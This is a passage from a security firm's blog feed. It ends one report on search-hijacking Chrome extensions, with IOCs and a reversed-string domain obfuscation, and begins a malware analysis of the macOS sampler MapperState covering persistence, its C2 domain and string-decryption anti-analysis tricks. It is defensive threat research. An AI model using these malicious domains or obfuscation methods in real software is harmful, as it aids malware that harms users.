srcset="https://substackcdn.com/image/fetch/$s_!Hbr8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png 424w, https://substackcdn.com/image/fetch/$s_!Hbr8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png 848w, https://substackcdn.com/image/fetch/$s_!Hbr8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png 1272w, https://substackcdn.com/image/fetch/$s_!Hbr8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Hbr8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png" width="446" height="249" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:249,&quot;width&quot;:446,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Hbr8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png 424w, https://substackcdn.com/image/fetch/$s_!Hbr8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png 848w, https://substackcdn.com/image/fetch/$s_!Hbr8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png 1272w, https://substackcdn.com/image/fetch/$s_!Hbr8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>For two extensions that do effectively the same thing, why should the messaging on one be more benign than the other? Especially given that access to the <code>chrome.tabs</code> API enables significant disruption.</p><p>Furthermore, we assume that the multi-day lifespan of each extension is only as &#8220;short&#8221; as it is, because that&#8217;s how long it takes to amass enough user complaints to warrant a takedown, but policing this campaign should be much easier since the malicious <code>fxsmash</code> domain appears in <strong>plain text</strong> in all of these extensions&#8202;&#8212;&#8202;though more recently they&#8217;ve started concealing the domains by reversing the string:</p><pre><code>edd=&#8221;/zyx.hsamsxf//:sptth&#8221;</code></pre><p>Finally, while the <code>fxsmash</code> extensions are promoted primarily via forced redirect, push notifications, and popunders&#8202;&#8212;&#8202;many similar campaigns run through basic display ads as is the case with the<code>Print Recipes</code> example, which has been running on Google Ads since Dec. 2019:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!c59I!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!c59I!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif 424w, https://substackcdn.com/image/fetch/$s_!c59I!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif 848w, https://substackcdn.com/image/fetch/$s_!c59I!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!c59I!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!c59I!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif" width="320" height="320" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:175,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!c59I!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif 424w, https://substackcdn.com/image/fetch/$s_!c59I!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif 848w, https://substackcdn.com/image/fetch/$s_!c59I!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!c59I!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b60bee0-9fa4-4f31-994b-c709dc108dcc_175x175.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3><strong>IOCs</strong></h3><p>Landing pages:</p><pre><code>hxxps://mkkq.xyz/new/pr/continue/indextwo.html
hxxps://nowinstall.xyz/new/pr/continue/indextwo.html
hxxps://skiss.xyz/new/pr/continue/indextwo.html
hxxps://umxs.xyz/new/pr/continue/indextwo.html
hxxps://byyr.xyz/new/pr/continue/indextwo.html</code></pre><p>Chrome Extension IDs:</p><pre><code>njnmjhifihjacdmhmdapcjgjkhhpcjdd
jjdknmjjefkdkjbgcbkggccgojehfcon
cepmhjglgonbhlpgjbmlgcpdfidmlonn
fdccnjnhlpmffbbciebopbppkbdiiopo
pjgbopjlibfpbodekmddmeabkloghljp
kajoaccphgdbgjchegabddkjkineodbh
nkolgjafipcjklgpiekjmgjelpifdead</code></pre><p>Intermediate Search-Hijack Domain:</p><pre><code>fxsmash.com</code></pre><h3><strong>Epilogue</strong></h3><p>On June 29th we contacted Google&#8217;s anti-malvertising team to report this campaign and offer an advanced look at this blog post.</p><p>Google has since issued an announcement clarifying some of their Chrome Web Store policies on Deceptive Installation Tactics, Spam Content, and a requirement for Web Store developers to have 2FA enabled.</p><p>Google&#8217;s Developer Program policies can be seen in full here:</p><p><a href="https://medium.com/r/?url=https%3A%2F%2Fdeveloper.chrome.com%2Fdocs%2Fwebstore%2Fprogram_policies%2F">https://developer.chrome.com/docs/webstore/program_policies/</a></p>]]></content:encoded></item><item><title><![CDATA[OSX/Hydromac: A new macOS malware leaked from a Flashcards app]]></title><description><![CDATA[Originally written by Taha Karim]]></description><link>https://blog.confiant.com/p/osx-hydromac-a-new-macos-malware-leaked-from-a-flashcards-app-2af28f1caa9e</link><guid isPermaLink="false">https://blog.confiant.com/p/osx-hydromac-a-new-macos-malware-leaked-from-a-flashcards-app-2af28f1caa9e</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Thu, 03 Jun 2021 19:50:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!gn0g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gn0g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gn0g!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gn0g!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gn0g!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gn0g!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gn0g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg" width="700" height="467" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:467,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!gn0g!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gn0g!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gn0g!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gn0g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c8b4f9f-2079-43dc-bb57-213d1a500f7a_700x467.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Photo by <a href="https://unsplash.com/@speedlory?utm_source=medium&amp;utm_medium=referral">Lorenzo Lamonica</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure></div><p><em>Originally written by <strong>Taha Karim</strong></em></p><p>At @<a href="https://twitter.com/confiantintel?lang=fr">ConfiantIntel</a> we had some &#8220;luck&#8221; finding a new malware targeting the new Apple flagship M1 computers. I put &#8220;luck&#8221; between quotes, as we know when you do cyber, you don&#8217;t rely on luck to find stuff, but you look at places were most likely stuff like this is to be found.</p><p>This has to do with Confiant&#8217;s detection engine, and our unique position in the Killchain: scanning malicious ads as they load, on major publisher websites in the United States.</p><p>Not only do we see bad ads loading and we scan them, but we block them as well. In other words, security vendors won&#8217;t be able to see what we see, unless they scan as early as we do in the killchain.</p><h2><strong>What did we find?</strong></h2><p>We found a malware we dubbed MapperState: We didn&#8217;t really choose this name as it was taken from the file name, and the C2 server this malware communicated with : mapperstate[.]com</p><p>MapperState was installed in our honeypot by OSX/Tarmac which itself was downloaded by a OSX/Bundlore loader, compatible ARM and notarized by Apple as we reported one week ago:</p><p>The chain of different stages has become very complex nowadays and the analysis phase takes more time, due to the malware authors&#8217; understanding of how reverse engineering is being done, but also countering the tools we wrote to decrypt their malware.</p><p>I recall, a couple of weeks after we&#8217;ve published OSX/Tarmac blogpost, new variants of OSX/Tarmac started re-surfacing implementing a trick rendering our previous decryption tools useless. MapperState is a continuation of the slowing-analysis tricks OSX/Tarmac authors use.</p><h2><strong>MapperState Analysis</strong></h2><h3><strong>Persistence</strong></h3><p>Usually OSX/Tarmac has been dropping a legit copy of Adobe Flash Player as we reported before. This time, an unknown malware with the following sha-256:</p><pre><code>919d049d5490adaaed70169ddd0537bfa2018a572e93b19801cf245f7fd28408</code></pre><p>was downloaded and persisted in the location below, and installed as a launch daemon, the file to be executed at RunAtLoad is called <strong>MapperState.system:</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9FdI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9FdI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png 424w, https://substackcdn.com/image/fetch/$s_!9FdI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png 848w, https://substackcdn.com/image/fetch/$s_!9FdI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png 1272w, https://substackcdn.com/image/fetch/$s_!9FdI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9FdI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png" width="700" height="201" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:201,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!9FdI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png 424w, https://substackcdn.com/image/fetch/$s_!9FdI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png 848w, https://substackcdn.com/image/fetch/$s_!9FdI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png 1272w, https://substackcdn.com/image/fetch/$s_!9FdI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84f2a687-361a-4068-ae6d-eaae0517d613_700x201.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>com.MapperState.system.plist in LaunchDaemons</p><blockquote><p><em>At the time of writing this unknown sample isn&#8217;t in VirusTotal, and we uploaded it right after the publication of this blog.</em></p></blockquote><h3><strong>String Decryption</strong></h3><p>This sample contains about 943 functions, debug symbols stripped, no identifiable strings or known encryption algorithm used. The only give-away of functionality is the imported functions. In fact, if we see a <strong>popen() </strong>or a <strong>_CFHTTPMessageSetBody () </strong>we know that this malware will create a process, or will connect via HTTP to a C2 server respectively. only that arguments passed to these function are encrypted and hidden deeply in the malware functionality that only executes in a specific state of the runtime.</p><p>Debugging this malware won&#8217;t cover all the malware functionality. We are left with the string decryption to get a real understanding of what this malware does. This is known by the malware authors, and this is where malware authors invested all their efforts to obfuscate the functionality.</p><p>MapperState authors used a very confusing method to encrypt their strings to slow down our analysis. Below a block of code, copied and pasted 198 times (as many as strings to decrypt). This is a classic slow-debugging technique, meaning if we had only one function decrypting all the strings setting a breakpoint in this function will suffice. but now we have 198 blocks were we should put breakpoints, and that&#8217;s not an option anymore. we have seen this exact same slow-debugging technique used in new version of OSX/Tarmac as well.</p><p>This block of code is responsible for string decryption and makes a heavy usage of SSE instructions. The encrypted String is stored in the variable <strong>unk_100051700 , </strong>the decoded string is &#8220;00000000&#8211;0000&#8211;0000&#8211;0000&#8211;00000000000&#8221; a string written by our IDAPython decoder script that we will talk about shortly.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!91vY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!91vY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png 424w, https://substackcdn.com/image/fetch/$s_!91vY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png 848w, https://substackcdn.com/image/fetch/$s_!91vY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png 1272w, https://substackcdn.com/image/fetch/$s_!91vY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!91vY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png" width="700" height="705" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:705,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!91vY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png 424w, https://substackcdn.com/image/fetch/$s_!91vY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png 848w, https://substackcdn.com/image/fetch/$s_!91vY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png 1272w, https://substackcdn.com/image/fetch/$s_!91vY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12736dc8-e5ef-437d-a383-fb7057b13759_700x705.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>MapperState string decryption routine</p><p>After investigation it seems the encrypted strings are referenced in the form of <strong>unk_</strong> variables (as IDA Pro isn&#8217;t sure what type this is), and there&#8217;s always an integer value copied to <strong>edx</strong> that represent the encrypted string length.</p><p>In other words this block always takes two changing parameters, and we will use IDA Pro <strong>unk_</strong> type to locate all these strings.</p><p>Rewriting the decryption routine in Python would take us a lot of time, so we decided to emulate this block, and decrypt all the strings while extracting them on the fly (taking into account the always changing length variable).</p><p>The full source code IDAPython script can be found <a href="https://gist.github.com/tahaconfiant/af07e9194dcfeed838564b700998c14e">here</a>.</p><p>It is important to note, that we faced two difficulty with emulation. The encryption block calls some macOS APIs and those are not emulated by Unicorn Engine. so we have to emulate them as well.</p><p>Mainly we added soft hooks on the following functions:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!H8oU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 